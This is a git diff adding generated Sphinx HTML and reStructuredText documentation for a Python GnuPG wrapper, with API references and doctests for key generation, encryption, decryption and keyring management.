[docs]class Storage(dict): + """A dictionary where keys are stored as class attributes. + + For example, ``obj.foo`` can be used in addition to ``obj['foo']``: + + >>> o = Storage(a=1) + >>> o.a + 1 + >>> o['a'] + 1 + >>> o.a = 2 + >>> o['a'] + 2 + >>> del o.a + >>> o.a + None + """ + def __getattr__(self, key): + try: + return self[key] + except KeyError as k: + return None + + def __setattr__(self, key, value): + self[key] = value + + def __delattr__(self, key): + try: + del self[key] + except KeyError as k: + raise AttributeError(k.args[0]) + + def __repr__(self): + return '<Storage ' + dict.__repr__(self) + '>' + + def __getstate__(self): + return dict(self) + + def __setstate__(self, value): + for (k, v) in value.items(): + self[k] = v
+
+ +
+
+
+
+ +
+
+
+ + + + + \ No newline at end of file diff --git a/docs/_build/html/_modules/index.html b/docs/_build/html/_modules/index.html new file mode 100644 index 0000000..d032746 --- /dev/null +++ b/docs/_build/html/_modules/index.html @@ -0,0 +1,104 @@ + + + + + + + + Overview: module code — gnupg unknown documentation + + + + + + + + + + + +
+ +
+ +
+
+
+ +
+
+
+ +

All modules for which code is available

+ + +
+
+
+
+ +
+
+
+ + + + + \ No newline at end of file diff --git a/docs/_build/html/_sources/gnupg.txt b/docs/_build/html/_sources/gnupg.txt new file mode 100644 index 0000000..fc8a479 --- /dev/null +++ b/docs/_build/html/_sources/gnupg.txt @@ -0,0 +1,131 @@ +gnupg package +============= + +gnupg module +------------ + +This module contains public classes for working with GnuPG_. To get started, +do: + +>>> import gnupg +>>> gpg = gnupg.GPG() + + +.. automodule:: gnupg + :members: + :undoc-members: + :private-members: + :show-inheritance: + +.. _meta: + +meta module +----------- + +Contains the meta and base classes which :class:`gnupg.GPG` inherits +from. Mostly, you shouldn't ever need to touch anything in here, unless you're +doing some serious hacking. + + +.. automodule:: gnupg._meta + :members: + :private-members: + :special-members: + :exclude-members: _agent_proc, __module__, __dict__, _decode_errors, init, + __weakref__, _result_map, __metaclass__ + :show-inheritance: + +.. _parsers: + +parsers module +-------------- + +These are classes for parsing both user inputs and status file descriptor +flags from GnuPG's output. The latter are used in order to determine what our +GnuPG process is doing and retrieve information about its operations, which +are stored in corresponding classes in +:attr:`~gnupg._meta.GPGBase._result_map`. Some status flags aren't handled yet +-- information on *all* of the flags (well, at least the documented ones…) can +be found in the :file:`docs/DETAILS` file in GnuPG's source_, which has been +included here_ as well. + + +.. automodule:: gnupg._parsers + :members: + :undoc-members: + :private-members: + :show-inheritance: + + +.. _util: + +util module +----------- + +You shouldn't really need to mess with this module either, it mostly deals +with low-level IO and file handling operations, de-/en- coding issues, and +setting up basic package facilities such as logging. + +.. automodule:: gnupg._util + :members: + :undoc-members: + :private-members: + :show-inheritance: + + +About this fork +--------------- + +This is a modified version of python-gnupg_, (forked from version 0.3.2) which +was created by Vinay Sajip, which itself is a modification of GPG.py written +by Steve Traugott, which in turn is a modification of the pycrypto GnuPG +interface written by A.M. Kuchling. + +This version is patched to sanitize untrusted inputs, due to the necessity of +executing ``subprocess.Popen([...], shell=True)`` in order to communicate with +GnuPG. Several speed improvements were also made based on code profiling, and +the API has been cleaned up to support an easier, more Pythonic, interaction. + + +Previous Authors' Documentation +------------------------------- + +Steve Traugott's documentation: + | + | Portions of this module are derived from A.M. Kuchling's well-designed + | GPG.py, using Richard Jones' updated version 1.3, which can be found in + | the pycrypto CVS repository on Sourceforge: + | + | http://pycrypto.cvs.sourceforge.net/viewvc/pycrypto/gpg/GPG.py + | + | This module is *not* forward-compatible with amk's; some of the old + | interface has changed. For instance, since I've added decrypt + | functionality, I elected to initialize with a 'gpghome' argument instead + | of 'keyring', so that gpg can find both the public and secret keyrings. + | I've also altered some of the returned objects in order for the caller to + | not have to know as much about the internals of the result classes. + | + | While the rest of ISconf is released under the GPL, I am releasing this + | single file under the same terms that A.M. Kuchling used for pycrypto. + | + | Steve Traugott, stevegt@terraluna.org + | Thu Jun 23 21:27:20 PDT 2005 + + +Vinay Sajip's documentation: + | + | This version of the module has been modified from Steve Traugott's version + | (see http://trac.t7a.org/isconf/browser/trunk/lib/python/isconf/GPG.py) by + | Vinay Sajip to make use of the subprocess module (Steve's version uses + | os.fork() and so does not work on Windows). Renamed to gnupg.py to avoid + | confusion with the previous versions. + | + | A unittest harness (test_gnupg.py) has also been added. + | + | Modifications Copyright (C) 2008-2012 Vinay Sajip. All rights reserved. + + +.. _GnuPG: http://gnupg.org +.. _python-gnupg: https://code.google.com/p/python-gnupg/ +.. _source: http://http://git.gnupg.org/cgi-bin/gitweb.cgi?p=gnupg.git;a=shortlog;h=refs/heads/master +.. _here: ./_static/DETAILS.html diff --git a/docs/_build/html/_sources/index.txt b/docs/_build/html/_sources/index.txt new file mode 100644 index 0000000..c266353 --- /dev/null +++ b/docs/_build/html/_sources/index.txt @@ -0,0 +1,44 @@ +.. gnupg documentation master file, created by + sphinx-quickstart on Fri Apr 5 22:38:47 2013. + You can adapt this file completely to your liking, but it should at least + contain the root `toctree` directive. + +gnupg: Python Package Documentation +=================================== +A Python interface for handling interactions with GnuPG, including keyfile +generation, keyring maintainance, import and export, encryption and +decryption, sending to and recieving from keyservers, and signing and +verification. + +Contents: + +.. toctree:: + :maxdepth: 2 + + gnupg + + +Source, license, & bug reports +============================== +The source code which was used to generate this documentation is accessible by +clicking the little `source` links next to the docs. Current source code can +be found in this github repository_. The **master** branch always reflects the +latest release, all releases are tagged with signed, annotated git tags, and +the **develop** branch represents the state of the next release. + +This package is released under GPLv3_ or greater. + +If you find a bug, or would like to request a feature, please use our public +bugtracker_ on github. Patches warmly welcome. + +Indices and tables +================== + +* :ref:`genindex` +* :ref:`modindex` +* :ref:`search` + +.. _source: https://github.com/isislovecruft/python-gnupg +.. _repository: https://github.com/isislovecruft/python-gnupg +.. _GPLv3: https://www.gnu.org/licenses/gpl.txt +.. _bugtracker: https://github.com/isislovecruft/python-gnupg/issues diff --git a/docs/_build/html/_static/DETAILS.html b/docs/_build/html/_static/DETAILS.html new file mode 100644 index 0000000..7b0b9f8 --- /dev/null +++ b/docs/_build/html/_static/DETAILS.html @@ -0,0 +1,2677 @@ + + + + +GnuPG Details + + + + + + + + + + + + + + + + +
+ +
+ +
+
+
+ +
+
+
+ + +

Index

+ +
+ _ + | A + | C + | D + | E + | F + | G + | H + | I + | K + | L + | N + | O + | P + | R + | S + | T + | U + | V + | W + | X + +
+

_

+ + + +
+ +
__init__() (GPGBase method) +
+ + +
__new__() (GPGMeta static method) +
+ + +
__remove_path__() (GPGBase method) +
+ + +
_batch_limit (GPG attribute) +
+ + +
_check_keyserver() (in module gnupg._parsers) +
+ + +
_check_preferences() (in module gnupg._parsers) +
+ + +
_collect_output() (GPGBase method) +
+ + +
_copy_data() (in module gnupg._util) +
+ + +
_counts (ImportResult attribute) +
+ + +
_create_if_necessary() (in module gnupg._util) +
+ + +
_create_trustdb() (GPG method) +
+ + +
_deprefix() (in module gnupg._util) +
+ + +
_encrypt() (GPGBase method) +
+ + +
_export_ownertrust() (GPG method) +
+ + +
_fields (ImportResult attribute) +
+ + +
_find_agent() (gnupg._meta.GPGMeta class method) +
+ + +
_find_binary() (in module gnupg._util) +
+ + +
_fix_trustdb() (GPG method) +
+ + +
_fix_unsafe() (in module gnupg._parsers) +
+ + +
_generated_keys (GPGBase attribute) +
+ + +
_generated_keys_getter() (GPGBase method) +
+ + +
_generated_keys_setter() (GPGBase method) +
+ + +
_get_all_gnupg_options() (in module gnupg._parsers) +
+ + +
_get_options_group() (in module gnupg._parsers) +
+ + +
_handle_io() (GPGBase method) +
+ + +
_handle_status() (Crypt method) +
+ +
+ +
(DeleteResult method) +
+ + +
(GenKey method) +
+ + +
(ImportResult method) +
+ + +
(ListKeys method) +
+ + +
(ListPackets method) +
+ + +
(Sign method) +
+ + +
(Verify method) +
+ +
+ +
_has_readwrite() (in module gnupg._util) +
+ + +
_homedir_getter() (GPGBase method) +
+ + +
_homedir_setter() (GPGBase method) +
+ + +
_hyphenate() (in module gnupg._parsers) +
+ +
+ +
_import_ownertrust() (GPG method) +
+ + +
_is_allowed() (in module gnupg._parsers) +
+ + +
_is_file() (in module gnupg._util) +
+ + +
_is_gpg1() (in module gnupg._util) +
+ + +
_is_gpg2() (in module gnupg._util) +
+ + +
_is_hex() (in module gnupg._parsers) +
+ + +
_is_list_or_tuple() (in module gnupg._util) +
+ + +
_is_stream() (in module gnupg._util) +
+ + +
_is_string() (in module gnupg._parsers) +
+ + +
_make_args() (GPGBase method) +
+ + +
_make_binary_stream() (in module gnupg._util) +
+ + +
_make_passphrase() (in module gnupg._util) +
+ + +
_make_random_string() (in module gnupg._util) +
+ + +
_match_version_string() (in module gnupg._util) +
+ + +
_next_year() (in module gnupg._util) +
+ + +
_now() (in module gnupg._util) +
+ + +
_ok_reason (ImportResult attribute) +
+ + +
_open_subprocess() (GPGBase method) +
+ + +
_problem_reason (ImportResult attribute) +
+ + +
_read_data() (GPGBase method) +
+ + +
_read_response() (GPGBase method) +
+ + +
_recv_keys() (GPGBase method) +
+ + +
_sanitise() (in module gnupg._parsers) +
+ + +
_sanitise_list() (in module gnupg._parsers) +
+ + +
_separate_keyword() (in module gnupg._util) +
+ + +
_sign_file() (GPGBase method) +
+ + +
_threaded_copy_data() (in module gnupg._util) +
+ + +
_utc_epoch() (in module gnupg._util) +
+ + +
_which() (in module gnupg._util) +
+ + +
_write_passphrase() (in module gnupg._util) +
+ +
+ +

A

+ + +
+ +
author_info() (in module gnupg._util) +
+ +
+ +

C

+ + + +
+ +
create_uid_email() (in module gnupg._util) +
+ + +
creation_date (Verify attribute) +
+ +
+ +
Crypt (class in gnupg._parsers) +
+ +
+ +

D

+ + + +
+ +
data (Crypt attribute) +
+ + +
decrypt() (GPG method) +
+ + +
decrypt_file() (GPG method) +
+ +
+ +
default_preference_list (GPGBase attribute) +
+ + +
delete_keys() (GPG method) +
+ + +
DeleteResult (class in gnupg._parsers) +
+ +
+ +

E

+ + + +
+ +
encrypt() (GPG method) +
+ + +
expire_timestamp (Verify attribute) +
+ +
+ +
export_keys() (GPG method) +
+ +
+ +

F

+ + + +
+ +
find_encodings() (in module gnupg._util) +
+ + +
fingerprint (Sign attribute) +
+ +
+ +
(Verify attribute) +
+ +
+
+ +
fingerprints (ImportResult attribute) +
+ + +
fpr() (ListKeys method) +
+ +
+ +

G

+ + + +
+ +
gen_key() (GPG method) +
+ + +
gen_key_input() (GPG method) +
+ + +
GenKey (class in gnupg._parsers) +
+ + +
gnupg (module) +
+ + +
gnupg._meta (module) +
+ +
+ +
gnupg._parsers (module) +
+ + +
gnupg._util (module) +
+ + +
GPG (class in gnupg) +
+ + +
GPGBase (class in gnupg._meta) +
+ + +
GPGMeta (class in gnupg._meta) +
+ +
+ +

H

+ + +
+ +
homedir (GPGBase attribute) +
+ +
+ +

I

+ + + +
+ +
import_keys() (GPG method) +
+ + +
ImportResult (class in gnupg._parsers) +
+ + +
InheritableProperty (class in gnupg._util) +
+ +
+ +
is_gpg1() (GPG method) +
+ + +
is_gpg2() (GPG method) +
+ +
+ +

K

+ + + +
+ +
key() (ListKeys method) +
+ + +
key_id (Verify attribute) +
+ +
+ +
keyring (GenKey attribute) +
+ + +
keyserver (GPGBase attribute) +
+ +
+ +

L

+ + + +
+ +
list_keys() (GPG method) +
+ + +
list_packets() (GPG method) +
+ + +
list_sigs() (GPG method) +
+ +
+ +
ListKeys (class in gnupg._parsers) +
+ + +
ListPackets (class in gnupg._parsers) +
+ +
+ +

N

+ + + +
+ +
need_passphrase (ListPackets attribute) +
+ + +
need_passphrase_sym (ListPackets attribute) +
+ +
+ +
nodata() (in module gnupg._parsers) +
+ +
+ +

O

+ + +
+ +
ok (Crypt attribute) +
+ +
+ +

P

+ + + +
+ +
problem_reason (DeleteResult attribute) +
+ + +
progress() (in module gnupg._parsers) +
+ + +
ProtectedOption +
+ +
+ +
pub() (ListKeys method) +
+ + +
pubkey_fingerprint (Verify attribute) +
+ +
+ +

R

+ + + +
+ +
recv_keys() (GPG method) +
+ + +
results (ImportResult attribute) +
+ +
+ +
+ RFC +
+ +
+ +
RFC 1991 +
+ +
+
+ +

S

+ + + +
+ +
sec() (ListKeys method) +
+ + +
secring (GenKey attribute) +
+ + +
sig_algo (Sign attribute) +
+ + +
sig_hash_also (Sign attribute) +
+ + +
sig_timestamp (Verify attribute) +
+ + +
sig_type (Sign attribute) +
+ + +
Sign (class in gnupg._parsers) +
+ +
+ +
sign() (GPG method) +
+ + +
signature_id (Verify attribute) +
+ + +
status (Crypt attribute) +
+ +
+ +
(ListPackets attribute) +
+ + +
(Verify attribute) +
+ +
+ +
Storage (class in gnupg._util) +
+ + +
sub() (ListKeys method) +
+ + +
summary() (ImportResult method) +
+ +
+ +

T

+ + + +
+ +
timestamp (Sign attribute) +
+ +
+ +
(Verify attribute) +
+ +
+ +
TRUST_FULLY (Verify attribute) +
+ + +
trust_level (Verify attribute) +
+ + +
TRUST_LEVELS (Verify attribute) +
+ + +
TRUST_MARGINAL (Verify attribute) +
+ +
+ +
TRUST_NEVER (Verify attribute) +
+ + +
trust_text (Verify attribute) +
+ + +
TRUST_ULTIMATE (Verify attribute) +
+ + +
TRUST_UNDEFINED (Verify attribute) +
+ + +
type (GenKey attribute) +
+ +
+ +

U

+ + + +
+ +
uid() (ListKeys method) +
+ + +
UsageError +
+ +
+ +
userid_hint (ListPackets attribute) +
+ + +
username (Verify attribute) +
+ +
+ +

V

+ + + +
+ +
valid (Verify attribute) +
+ + +
Verify (class in gnupg._parsers) +
+ +
+ +
verify() (GPG method) +
+ + +
verify_file() (GPG method) +
+ +
+ +

W

+ + +
+ +
what (Sign attribute) +
+ +
+ +

X

+ + +
+ +
x (ImportResult attribute) +
+ +
+ + + +
+
+
+
+ +
+
+
+ + + + + \ No newline at end of file diff --git a/docs/_build/html/gnupg.html b/docs/_build/html/gnupg.html new file mode 100644 index 0000000..63e8513 --- /dev/null +++ b/docs/_build/html/gnupg.html @@ -0,0 +1,2721 @@ + + + + + + + + gnupg package — gnupg unknown documentation + + + + + + + + + + + + +
+ +
+ +
+
+
+ +
+
+
+ +
+

gnupg package

+
+

gnupg module

+

This module contains public classes for working with GnuPG. To get started, +do:

+
>>> import gnupg
+>>> gpg = gnupg.GPG()
+
+
+
+
+class GPG(binary=None, homedir=None, verbose=False, use_agent=False, keyring=None, secring=None, options=None)
+

Bases: gnupg._meta.GPGBase

+

Python interface for handling interactions with GnuPG, including keyfile +generation, keyring maintainance, import and export, encryption and +decryption, sending to and recieving from keyservers, and signing and +verification.

+

Initialize a GnuPG process wrapper.

+ +++ + + + + + +
Parameters:
    +
  • binary (str) – Name for GnuPG binary executable. If the absolute +path is not given, the environment variable +$PATH is searched for the executable and +checked that the real uid/gid of the user has +sufficient permissions.
  • +
  • homedir (str) – Full pathname to directory containing the public +and private keyrings. Default is whatever GnuPG +defaults to.
  • +
  • verbose (str or int or bool) – String or numeric value to pass to GnuPG’s +--debug-level option. See the GnuPG man page for +the list of valid options. If False, debug output is +not generated by the GnuPG binary. If True, defaults +to --debug-level basic.
  • +
  • keyring (str) – Name of keyring file containing public key data. +If unspecified, defaults to pubring.gpg in +the homedir directory.
  • +
  • secring (str) – Name of alternative secret keyring file to use. If +left unspecified, this will default to using +secring.gpg in the homedir directory, +and create that file if it does not exist.
  • +
  • options (list) – A list of additional options to pass to the GnuPG +binary.
  • +
+
Raises:

A RuntimeError with explanation message +if there is a problem invoking GnuPG.

+
+

Example:

+
>>> import gnupg
+GnuPG logging disabled...
+>>> gpg = gnupg.GPG(homedir='doctests')
+>>> gpg.keyring
+'./doctests/pubring.gpg'
+>>> gpg.secring
+'./doctests/secring.gpg'
+>>> gpg.use_agent
+False
+>>> gpg.binary
+'/usr/bin/gpg'
+
+
+
+
+_batch_limit = 25
+
+ +
+
+_create_trustdb()
+

Create the trustdb file in our homedir, if it doesn’t exist.

+
+ +
+
+_export_ownertrust(trustdb=None)
+

Export ownertrust to a trustdb file.

+

If there is already a file named trustdb.gpg in the current GnuPG +homedir, it will be renamed to trustdb.gpg.bak.

+ +++ + + + +
Parameters:trustdb (string) – The path to the trustdb.gpg file. If not given, +defaults to 'trustdb.gpg' in the current GnuPG +homedir.
+
+ +
+
+_fix_trustdb(trustdb=None)
+

Attempt to repair a broken trustdb.gpg file.

+

GnuPG>=2.0.x has this magical-seeming flag: –fix-trustdb. You’d think +it would fix the the trustdb. Hah! It doesn’t. Here’s what it does +instead:

+
(gpg)~/code/python-gnupg $ gpg2 --fix-trustdb
+gpg: You may try to re-create the trustdb using the commands:
+gpg:   cd ~/.gnupg
+gpg:   gpg2 --export-ownertrust > otrust.tmp
+gpg:   rm trustdb.gpg
+gpg:   gpg2 --import-ownertrust < otrust.tmp
+gpg: If that does not work, please consult the manual
+
+
+

Brilliant piece of software engineering right there.

+ +++ + + + +
Parameters:trustdb (str) – The path to the trustdb.gpg file. If not given, +defaults to trustdb.gpg in the current GnuPG +homedir.
+
+ +
+
+_import_ownertrust(trustdb=None)
+

Import ownertrust from a trustdb file.

+ +++ + + + +
Parameters:trustdb (str) – The path to the trustdb.gpg file. If not given, +defaults to trustdb.gpg in the current GnuPG +homedir.
+
+ +
+
+decrypt(message, **kwargs)
+

Decrypt the contents of a string or file-like object message.

+ +++ + + + +
Parameters:
    +
  • message (file or str or io.BytesIO) – A string or file-like object to decrypt.
  • +
  • always_trust (bool) – Instruct GnuPG to ignore trust checks.
  • +
  • passphrase (str) – The passphrase for the secret key used for decryption.
  • +
  • output (str) – A filename to write the decrypted output to.
  • +
+
+
+ +
+
+decrypt_file(filename, always_trust=False, passphrase=None, output=None)
+

Decrypt the contents of a file-like object filename .

+ +++ + + + +
Parameters:
    +
  • filename (str) – A file-like object to decrypt.
  • +
  • always_trust (bool) – Instruct GnuPG to ignore trust checks.
  • +
  • passphrase (str) – The passphrase for the secret key used for decryption.
  • +
  • output (str) – A filename to write the decrypted output to.
  • +
+
+
+ +
+
+delete_keys(fingerprints, secret=False, subkeys=False)
+

Delete a key, or list of keys, from the current keyring.

+

The keys must be referred to by their full fingerprints for GnuPG to +delete them. If secret=True, the corresponding secret keyring will +be deleted from secring.

+ +++ + + + +
Parameters:
    +
  • fingerprints (str or list or tuple) – A string, or a list/tuple of strings, +representing the fingerprint(s) for the key(s) +to delete.
  • +
  • secret (bool) – If True, delete the corresponding secret key(s) +also. (default: False)
  • +
  • subkeys (bool) – If True, delete the secret subkey first, then the +public key. (default: False) Same as: +$gpg –delete-secret-and-public-key 0x12345678.
  • +
+
+
+ +
+
+encrypt(data, *recipients, **kwargs)
+

Encrypt the message contained in data to recipients.

+ +++ + + + +
Parameters:
    +
  • data (str) – The file or bytestream to encrypt.
  • +
  • recipients (str) – The recipients to encrypt to. Recipients must +be specified keyID/fingerprint. Care should be taken in Python2.x +to make sure that the given fingerprint is in fact a string and +not a unicode object.
  • +
  • default_key (str) – The keyID/fingerprint of the key to use for +signing. If given, data will be encrypted and signed.
  • +
  • passphrase (str) – If given, and default_key is also given, +use this passphrase to unlock the secret portion of the +default_key to sign the encrypted data. Otherwise, if +default_key is not given, but symmetric=True, then use +this passphrase as the passphrase for symmetric +encryption. Signing and symmetric encryption should not be +combined when sending the data to other recipients, else the +passphrase to the secret key would be shared with them.
  • +
  • armor (bool) – If True, ascii armor the output; otherwise, the +output will be in binary format. (Default: True)
  • +
  • encrypt (bool) – If True, encrypt the data using the +recipients public keys. (Default: True)
  • +
  • symmetric (bool) – If True, encrypt the data to recipients +using a symmetric key. See the passphrase parameter. Symmetric +encryption and public key encryption can be used simultaneously, +and will result in a ciphertext which is decryptable with either +the symmetric passphrase or one of the corresponding private +keys.
  • +
  • always_trust (bool) – If True, ignore trust warnings on recipient +keys. If False, display trust warnings. (default: True)
  • +
  • output (str) – The output file to write to. If not specified, the +encrypted output is returned, and thus should be stored as an +object in Python. For example:
  • +
+
+
>>> import shutil
+>>> import gnupg
+>>> if os.path.exists("doctests"):
+...     shutil.rmtree("doctests")
+>>> gpg = gnupg.GPG(homedir="doctests")
+>>> key_settings = gpg.gen_key_input(key_type='RSA',
+...     key_length=1024,
+...     key_usage='ESCA',
+...     passphrase='foo')
+>>> key = gpg.gen_key(key_settings)
+>>> message = "The crow flies at midnight."
+>>> encrypted = str(gpg.encrypt(message, key.printprint))
+>>> assert encrypted != message
+>>> assert not encrypted.isspace()
+>>> decrypted = str(gpg.decrypt(encrypted))
+>>> assert not decrypted.isspace()
+>>> decrypted
+'The crow flies at midnight.'
+
+
+ +++ + + + +
Parameters:
    +
  • cipher_algo (str) – The cipher algorithm to use. To see available +algorithms with your version of GnuPG, do: +$ gpg –with-colons –list-config ciphername. +The default cipher_algo, if unspecified, is 'AES256'.
  • +
  • digest_algo (str) – The hash digest to use. Again, to see which +hashes your GnuPG is capable of using, do: +$ gpg –with-colons –list-config digestname. +The default, if unspecified, is 'SHA512'.
  • +
  • compress_algo (str) – The compression algorithm to use. Can be one +of 'ZLIB', 'BZIP2', 'ZIP', or 'Uncompressed'.
  • +
+
+
+

See also

+

_encrypt()

+
+
+ +
+
+export_keys(keyids, secret=False, subkeys=False)
+

Export the indicated keyids.

+ +++ + + + +
Parameters:
    +
  • keyids (str) – A keyid or fingerprint in any format that GnuPG will +accept.
  • +
  • secret (bool) – If True, export only the secret key.
  • +
  • subkeys (bool) – If True, export the secret subkeys.
  • +
+
+
+ +
+
+gen_key(input)
+

Generate a GnuPG key through batch file key generation. See +GPG.gen_key_input() for creating the control input.

+
>>> import gnupg
+>>> gpg = gnupg.GPG(homedir="doctests")
+>>> key_input = gpg.gen_key_input()
+>>> key = gpg.gen_key(key_input)
+>>> assert key.fingerprint
+
+
+ +++ + + + + + +
Parameters:input (dict) – A dictionary of parameters and values for the new +key.
Returns:The result mapping with details of the new key, which is a +GenKey object.
+
+ +
+
+gen_key_input(separate_keyring=False, save_batchfile=False, testing=False, **kwargs)
+

Generate a batch file for input to gen_key().

+

The GnuPG batch file key generation feature allows unattended key +generation by creating a file with special syntax and then providing it +to: gpg –gen-key –batch. Batch files look like this:

+
+
Name-Real: Alice
+
Name-Email: alice@inter.net
+
Expire-Date: 2014-04-01
+
Key-Type: RSA
+
Key-Length: 4096
+
Key-Usage: cert
+
Subkey-Type: RSA
+
Subkey-Length: 4096
+
Subkey-Usage: encrypt,sign,auth
+
Passphrase: sekrit
+
%pubring foo.gpg
+
%secring sec.gpg
+
%commit
+
+

which is what this function creates for you. All of the available, +non-control parameters are detailed below (control parameters are the +ones which begin with a ‘%’). For example, to generate the batch file +example above, use like this:

+
>>> import gnupg
+GnuPG logging disabled...
+>>> from __future__ import print_function
+>>> gpg = gnupg.GPG(homedir='doctests')
+>>> alice = { 'name_real': 'Alice',
+...     'name_email': 'alice@inter.net',
+...     'expire_date': '2014-04-01',
+...     'key_type': 'RSA',
+...     'key_length': 4096,
+...     'key_usage': '',
+...     'subkey_type': 'RSA',
+...     'subkey_length': 4096,
+...     'subkey_usage': 'encrypt,sign,auth',
+...     'passphrase': 'sekrit'}
+>>> alice_input = gpg.gen_key_input(**alice)
+>>> print(alice_input)
+Key-Type: RSA
+Subkey-Type: RSA
+Subkey-Usage: encrypt,sign,auth
+Expire-Date: 2014-04-01
+Passphrase: sekrit
+Name-Real: Alice
+Name-Email: alice@inter.net
+Key-Length: 4096
+Subkey-Length: 4096
+%pubring ./doctests/alice.pubring.gpg
+%secring ./doctests/alice.secring.gpg
+%commit
+
+>>> alice_key = gpg.gen_key(alice_input)
+>>> assert alice_key is not None
+>>> assert alice_key.fingerprint is not None
+>>> message = "no one else can read my sekrit message"
+>>> encrypted = gpg.encrypt(message, alice_key.fingerprint)
+>>> assert isinstance(encrypted.data, str)
+
+
+ +++ + + + + + + + +
Parameters:
    +
  • separate_keyring (bool) – Specify for the new key to be written to +a separate pubring.gpg and secring.gpg. If True, +gen_key() will automatically rename the separate +keyring and secring to whatever the fingerprint of the generated +key ends up being, suffixed with ‘.pubring’ and ‘.secring’ +respectively.
  • +
  • save_batchfile (bool) – Save a copy of the generated batch file to +disk in a file named <name_real>.batch, where <name_real> is the +name_real parameter stripped of punctuation, spaces, and +non-ascii characters.
  • +
  • testing (bool) – Uses a faster, albeit insecure random number +generator to create keys. This should only be used for testing +purposes, for keys which are going to be created and then soon +after destroyed, and never for the generation of actual use keys.
  • +
  • name_real (str) – The name field of the UID in the generated key.
  • +
  • name_comment (str) – The comment in the UID of the generated key.
  • +
  • name_email (str) – The email in the UID of the generated key. +(default: $USER @ hostname ) Remember to use UTF-8 +encoding for the entirety of the UID. At least one of +name_real, name_comment, or name_email must be +provided, or else no user ID is created.
  • +
  • key_type (str) – One of ‘RSA’, ‘DSA’, ‘ELG-E’, or ‘default’. +(default: ‘RSA’, if using GnuPG v1.x, otherwise ‘default’) Starts +a new parameter block by giving the type of the primary key. The +algorithm must be capable of signing. This is a required +parameter. The algorithm may either be an OpenPGP algorithm number +or a string with the algorithm name. The special value ‘default’ +may be used for algo to create the default key type; in this case +a key_usage should not be given and ‘default’ must also be +used for subkey_type.
  • +
  • key_length (int) – The requested length of the generated key in +bits. (Default: 4096)
  • +
  • key_grip (str) – hexstring This is an optional hexidecimal string +which is used to generate a CSR or certificate for an already +existing key. key_length will be ignored if this parameter +is given.
  • +
  • key_usage (str) – Space or comma delimited string of key +usages. Allowed values are ‘encrypt’, ‘sign’, and ‘auth’. This is +used to generate the key flags. Please make sure that the +algorithm is capable of this usage. Note that OpenPGP requires +that all primary keys are capable of certification, so no matter +what usage is given here, the ‘cert’ flag will be on. If no +‘Key-Usage’ is specified and the ‘Key-Type’ is not ‘default’, all +allowed usages for that particular algorithm are used; if it is +not given but ‘default’ is used the usage will be ‘sign’.
  • +
  • subkey_type (str) – This generates a secondary key +(subkey). Currently only one subkey can be handled. See also +key_type above.
  • +
  • subkey_length (int) – The length of the secondary subkey in bits.
  • +
  • subkey_usage (str) – Key usage for a subkey; similar to +key_usage.
  • +
  • expire_date (int or str) – Can be specified as an iso-date or as +<int>[d|w|m|y] Set the expiration date for the key (and the +subkey). It may either be entered in ISO date format (2000-08-15) +or as number of days, weeks, month or years. The special notation +“seconds=N” is also allowed to directly give an Epoch +value. Without a letter days are assumed. Note that there is no +check done on the overflow of the type used by OpenPGP for +timestamps. Thus you better make sure that the given value make +sense. Although OpenPGP works with time intervals, GnuPG uses an +absolute value internally and thus the last year we can represent +is 2105.
  • +
  • creation_date (str) – Set the creation date of the key as stored +in the key information and which is also part of the fingerprint +calculation. Either a date like “1986-04-26” or a full timestamp +like “19860426T042640” may be used. The time is considered to be +UTC. If it is not given the current time is used.
  • +
  • passphrase (str) – The passphrase for the new key. The default is +to not use any passphrase. Note that GnuPG>=2.1.x will not allow +you to specify a passphrase for batch key generation – GnuPG will +ignore the passphrase parameter, stop, and ask the user for +the new passphrase. However, we can put the command +%no-protection into the batch key generation file to allow a +passwordless key to be created, which can then have its passphrase +set later with --edit-key.
  • +
  • preferences (str) – Set the cipher, hash, and compression +preference values for this key. This expects the same type of +string as the sub-command ‘setpref’ in the –edit-key menu.
  • +
  • revoker (str) – Should be given as ‘algo:fpr’ (case sensitive). +Add a designated revoker to the generated key. Algo is the public +key algorithm of the designated revoker (i.e. RSA=1, DSA=17, etc.) +fpr is the fingerprint of the designated revoker. The optional +‘sensitive’ flag marks the designated revoker as sensitive +information. Only v4 keys may be designated revokers.
  • +
  • keyserver (str) – This is an optional parameter that specifies the +preferred keyserver URL for the key.
  • +
  • handle (str) – This is an optional parameter only used with the +status lines KEY_CREATED and KEY_NOT_CREATED. string may +be up to 100 characters and should not contain spaces. It is +useful for batch key generation to associate a key parameter block +with a status line.
  • +
+
Return type:

str

+
Returns:

A suitable input string for the GPG.gen_key() method, +the latter of which will create the new keypair.

+
+

See this GnuPG Manual section for more details.

+
+ +
+
+import_keys(key_data)
+

Import the key_data into our keyring.

+
>>> import shutil
+>>> shutil.rmtree("doctests")
+>>> gpg = gnupg.GPG(homedir="doctests")
+>>> inpt = gpg.gen_key_input()
+>>> key1 = gpg.gen_key(inpt)
+>>> print1 = str(key1.fingerprint)
+>>> pubkey1 = gpg.export_keys(print1)
+>>> seckey1 = gpg.export_keys(print1,secret=True)
+>>> key2 = gpg.gen_key(inpt)
+>>> print2 = key2.fingerprint
+>>> seckeys = gpg.list_keys(secret=True)
+>>> pubkeys = gpg.list_keys()
+>>> assert print1 in seckeys.fingerprints
+>>> assert print1 in pubkeys.fingerprints
+>>> str(gpg.delete_keys(print1))
+'Must delete secret key first'
+>>> str(gpg.delete_keys(print1,secret=True))
+'ok'
+>>> str(gpg.delete_keys(print1))
+'ok'
+>>> pubkeys = gpg.list_keys()
+>>> assert not print1 in pubkeys.fingerprints
+>>> result = gpg.import_keys(pubkey1)
+>>> pubkeys = gpg.list_keys()
+>>> seckeys = gpg.list_keys(secret=True)
+>>> assert not print1 in seckeys.fingerprints
+>>> assert print1 in pubkeys.fingerprints
+>>> result = gpg.import_keys(seckey1)
+>>> assert result
+>>> seckeys = gpg.list_keys(secret=True)
+>>> assert print1 in seckeys.fingerprints
+
+
+
+ +
+
+is_gpg1()
+

Returns true if using GnuPG <= 1.x.

+
+ +
+
+is_gpg2()
+

Returns true if using GnuPG >= 2.x.

+
+ +
+
+list_keys(secret=False)
+

List the keys currently in the keyring.

+

The GnuPG option ‘–show-photos’, according to the GnuPG manual, “does +not work with –with-colons”, but since we can’t rely on all versions +of GnuPG to explicitly handle this correctly, we should probably +include it in the args.

+
>>> import shutil
+>>> shutil.rmtree("doctests")
+>>> gpg = GPG(homedir="doctests")
+>>> input = gpg.gen_key_input()
+>>> result = gpg.gen_key(input)
+>>> print1 = result.fingerprint
+>>> result = gpg.gen_key(input)
+>>> print2 = result.fingerprint
+>>> pubkeys = gpg.list_keys()
